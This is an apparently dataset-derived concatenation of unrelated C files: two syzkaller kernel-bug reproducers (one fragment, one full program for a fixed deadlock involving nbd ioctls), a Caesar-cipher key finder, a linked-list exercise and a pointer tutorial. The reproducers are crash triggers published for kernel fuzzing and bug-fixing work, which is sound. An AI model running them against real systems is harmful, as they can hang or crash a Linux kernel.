break;
case 2:
memcpy((void*)0x20000300, "./bus\000", 6);
syscall(__NR_mkdir, 0x20000300ul, 0ul);
break;
case 3:
memcpy((void*)0x200003c0, "./bus/file1\000", 12);
syscall(__NR_mknod, 0x200003c0ul, 0ul, 0x701);
break;
case 4:
memcpy((void*)0x20000280, "./file0\000", 8);
syscall(__NR_mkdir, 0x20000280ul, 0ul);
break;
case 5:
memcpy((void*)0x200002c0, "./bus/file1\000", 12);
memcpy((void*)0x20000440, "./bus/file0\000", 12);
syscall(__NR_link, 0x200002c0ul, 0x20000440ul);
break;
case 6:
memcpy((void*)0x20000000, "./bus\000", 6);
memcpy((void*)0x20000400, "overlay\000", 8);
memcpy((void*)0x20000300, "lowerdir=./bus,workdir=./file1,upperdir=./file0",
47);
syscall(__NR_mount, 0x400000ul, 0x20000000ul, 0x20000400ul, 0ul,
0x20000300ul);
break;
case 7:
memcpy((void*)0x20000040, "./bus/file0\000", 12);
syscall(__NR_open, 0x20000040ul, 3ul, 0ul);
break;
}
}
int main(void)
{
syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
use_temporary_dir();
loop();
return 0;
}
|
the_stack_data/10969.c
|
#include<stdio.h>
#include<stdlib.h>
#include<ctype.h>
int freq(int *a)
{int countmax=0,max=0;
for(int i=0;i<26;i++)
{if(countmax<a[i])
{countmax=a[i];
max=i;
}
}
int key=(max+22)%26;
return key;
}
int main(int argc, char ** argv)
{
if(argc != 2)
{fprintf(stderr,"Invalid argc\n");
return EXIT_FAILURE;
}
FILE *f=fopen(argv[1], "r");
if(f==NULL)
{fprintf(stderr,"Could not open the file\n");
return EXIT_FAILURE;
}
int a[26]={0};
int b;
while((b=fgetc(f)) != EOF)
{if(isalpha(b))
{b=tolower(b);
b = b - 'a';
a[b]=a[b]+1;
}
}
int k=freq(a);
if(k>=0 && k<26)
{fprintf(stdout,"%d\n",k);
}
if(k<0 && k>=26)
{ fprintf(stderr,"Key not in range\n");
return EXIT_FAILURE;
}
if(fclose(f) != 0) {
fprintf(stderr,"Failed to close the input file!\n");
return EXIT_FAILURE;
}
return EXIT_SUCCESS;
}
|
the_stack_data/316006.c
|
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
typedef struct node
{
int value;
struct node *next;
}node;
typedef struct list
{
struct node *head;
}list;
// инициализация пустого списка
void init(list* l)
{
l->head = malloc(sizeof(node));
l->head = NULL;
return;
}
// удалить все элементы из списка
void clean(list* l)
{
if (!l->head)
{
return;
}
node* current = l->head;
node* temp;
while (current)
{
temp = current->next;
free(current);
current = temp;
}
l->head = NULL;
return;
}
// проверка на пустоту списка
bool is_empty(list* l)
{
if (l->head == NULL)
{
return true;
}
return false;
}
// поиск элемента по значению. вернуть NULL если эжемент не найден
node* find(list* l, int key)
{
node* current = l->head;
if (!l->head)
{
return NULL;
}
while (current->value != key)
{
current = current->next;
if (current == NULL)
{
return NULL;
}
}
return current;
}
// поиск конца
node* FindTail(list* l)
{
if (l->head == NULL)
{
return NULL;
}
node* current = l->head;
while (current->next != NULL)
{
current = current->next;
}
return current;
}
// вставка значения в конец списка, вернуть 0 если успешно
int push_back(list* l, int key)
{
if (!is_empty(l))
{
node* lastnode = FindTail(l);
node* current = malloc(sizeof(node));
lastnode->next = current;
current->next = NULL;
current->value = key;
}
else
{
node* current = malloc(sizeof(node));
current->value = key;
current->next = NULL;
l->head = current;
}
return 0;
}
// вставка значения в начало списка, вернуть 0 если успешно
int push_front(list* l, int key)
{
node* current;
current = malloc(sizeof(node));
current->value = key;
current->next = l->head;
l->head = current;
return 0;
}
// вставка значения после указанного узла, вернуть 0 если успешно
int insert_after(node* n, int key)
{
if (n == NULL)
{
return 1;
}
node* NewNode = malloc(sizeof(node));
NewNode->value = key;
NewNode->next = n->next;
n->next = NewNode;
return 0;
}
// удалить первый элемент из списка с указанным значением,
// вернуть 0 если успешно
int remove_node(list* l, int key)
{
node* current = l->head;
node* previous = NULL;
if (l->head == NULL)
{
return 1;
}
while (current->value != key)
{
if (current->next == NULL)
{
return 1;
}
else
{
previous = current;
current = current->next;
}
}
if (current == l->head)
{
l->head = l->head->next;
}
else
{
previous->next = current->next;
}
free(current);
return 0;
}
// вывести все значения из списка в прямом порядке через пробел,
// после окончания вывода перейти на новую строку
void print(list* l)
{
node* current = l->head;
if (current == NULL)
{
return;
}
while (current != NULL)
{
printf("%d ", current->value);
current = current->next;
}
printf("\n");
return;
}
void checkingexist(node* n1, node* n2, node* n3)
{
if (n1 == NULL)
{
printf("0 ");
}
else
{
printf("1 ");
}
if (n2 == NULL)
{
printf("0 ");
}
else
{
printf("1 ");
}
if (n3 == NULL)
{
printf("0 ");
}
else
{
printf("1 \n");
}
}
node* findbyindex(list* l, int index)
{
if (l->head == NULL)
{
return NULL;
}
node* current = l->head;
int i = 0;
while (i != index)
{
current = current->next;
if (current == NULL)
{
return NULL;
}
i++;
}
return current;
}
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
int main()
{
int i, n, k1, k2, k3, m, t, j, x, z, a;
(void)scanf("%d", &n);
list* link;
link = malloc(sizeof(list));
init(link);
for (i = 1; i <= n; i++)
{
(void)scanf("%d", &a);
push_back(link, a);
}
print(link);
(void)scanf("%d %d %d", &k1, &k2, &k3);
node* finder1 = find(link, k1);
node* finder2 = find(link, k2);
node* finder3 = find(link, k3);
checkingexist(finder1, finder2, finder3);
(void)scanf("%d", &m);
push_back(link, m);
print(link);
(void)scanf("%d", &t);
push_front(link, t);
print(link);
(void)scanf("%d %d", &j, &x);
node* FindNode = findbyindex(link, j - 1);
insert_after(FindNode, x);
print(link);
(void)scanf("%d", &z);
remove_node(link, z);
print(link);
clean(link);
link->head = NULL;
return 0;
}
|
the_stack_data/168892367.c
|
// possible deadlock in refcount_dec_and_mutex_lock
// https://syzkaller.appspot.com/bug?id=e452a820fe8f20100933e7988a3b5e7b894388f1
// status:fixed
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <setjmp.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
static __thread int skip_segv;
static __thread jmp_buf segv_env;
static void segv_handler(int sig, siginfo_t* info, void* ctx)
{
uintptr_t addr = (uintptr_t)info->si_addr;
const uintptr_t prog_start = 1 << 20;
const uintptr_t prog_end = 100 << 20;
if (__atomic_load_n(&skip_segv, __ATOMIC_RELAXED) &&
(addr < prog_start || addr > prog_end)) {
_longjmp(segv_env, 1);
}
exit(sig);
}
static void install_segv_handler(void)
{
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_handler = SIG_IGN;
syscall(SYS_rt_sigaction, 0x20, &sa, NULL, 8);
syscall(SYS_rt_sigaction, 0x21, &sa, NULL, 8);
memset(&sa, 0, sizeof(sa));
sa.sa_sigaction = segv_handler;
sa.sa_flags = SA_NODEFER | SA_SIGINFO;
sigaction(SIGSEGV, &sa, NULL);
sigaction(SIGBUS, &sa, NULL);
}
#define NONFAILING(...) \
{ \
__atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST); \
if (_setjmp(segv_env) == 0) { \
__VA_ARGS__; \
} \
__atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST); \
}
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
static long syz_open_dev(volatile long a0, volatile long a1, volatile long a2)
{
if (a0 == 0xc || a0 == 0xb) {
char buf[128];
sprintf(buf, "/dev/%s/%d:%d", a0 == 0xc ? "char" : "block", (uint8_t)a1,
(uint8_t)a2);
return open(buf, O_RDWR, 0);
} else {
char buf[1024];
char* hash;
NONFAILING(strncpy(buf, (char*)a0, sizeof(buf) - 1));
buf[sizeof(buf) - 1] = 0;
while ((hash = strchr(buf, '#'))) {
*hash = '0' + (char)(a1 % 10);
a1 /= 10;
}
return open(buf, a2, 0);
}
}
static void kill_and_wait(int pid, int* status)
{
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
int i;
for (i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR* dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent* ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}
static void setup_test()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
write_file("/proc/self/oom_score_adj", "1000");
}
static void execute_one(void);
#define WAIT_FLAGS __WALL
static void loop(void)
{
int iter;
for (iter = 0;; iter++) {
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
setup_test();
execute_one();
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
sleep_ms(1);
if (current_time_ms() - start < 5 * 1000)
continue;
kill_and_wait(pid, &status);
break;
}
}
}
#ifndef __NR_sched_setattr
#define __NR_sched_setattr 314
#endif
uint64_t r[3] = {0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff};
void execute_one(void)
{
intptr_t res = 0;
NONFAILING(*(uint64_t*)0x20000280 = 9);
NONFAILING(*(uint64_t*)0x20000288 = 0x8d);
syscall(__NR_prlimit64, 0, 0xe, 0x20000280, 0);
NONFAILING(*(uint32_t*)0x20000040 = 0x30);
NONFAILING(*(uint32_t*)0x20000044 = 2);
NONFAILING(*(uint64_t*)0x20000048 = 0);
NONFAILING(*(uint32_t*)0x20000050 = 0);
NONFAILING(*(uint32_t*)0x20000054 = 8);
NONFAILING(*(uint64_t*)0x20000058 = 0);
NONFAILING(*(uint64_t*)0x20000060 = 0);
NONFAILING(*(uint64_t*)0x20000068 = 0);
syscall(__NR_sched_setattr, 0, 0x20000040, 0);
res = syscall(__NR_socket, 0x11, 2, 0);
if (res != -1)
r[0] = res;
NONFAILING(memcpy((void*)0x200001c0, "/dev/nbd#\000", 10));
res = syz_open_dev(0x200001c0, 0, 0);
if (res != -1)
r[1] = res;
res = syz_open_dev(0, 0, 0);
if (res != -1)
r[2] = res;
syscall(__NR_ioctl, r[1], 0xab00, r[0]);
syscall(__NR_ioctl, r[2], 0xab03, 0);
}
int main(void)
{
syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
install_segv_handler();
loop();
return 0;
}
|
the_stack_data/609917.c
|
/*Operador de dirección: &
Para poder obtener la dirección de una variable
Para poder almacenar la direccion hará falta una variable puntero con el mismo tipo
sintáxis)
*/
/*
Operador de indirección: *
Para de acceder al dato almacenado en una dirección
Realiza la función opuesta del operador &
Tipo_dato *nombre de apuntador;
*/
#include <stdio.h>
//Declaración variables
int num1;
int *apuntador;
char valor; //Declarando apuntadores
char *apuntadorChar;
//TipoDato *nombreIdentificador;
int main (){
//Variables
num1 = 1000;
valor = '@';
//num2 = 5; //Asignando un valor
//Apuntador (variable)
apuntador = &num1;
apuntadorChar = &valor;
puts("Apuntando a un entero:");
printf("\tNum1 tiene el valor: %d y esta alojado en: %p\n", num1, &num1);
printf("\tEl apuntador tiene el valor: %p y esta alojado en: %p\n", apuntador, &apuntador);
printf("\tEl valor del entero al que apunta pointer es: %d\n\n", *apuntador);
puts("Apuntando a un caracter:");
printf("\tMi char tiene el valor: %c y esta alojado en: %p\n", valor, &valor);
printf("\tEl apuntador tiene el valor: %p y esta alojado en: %p\n", apuntadorChar, &apuntadorChar);
printf("\tEl valor del entero al que apunta pointer es: %c\n", *apuntadorChar);
return 0;
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.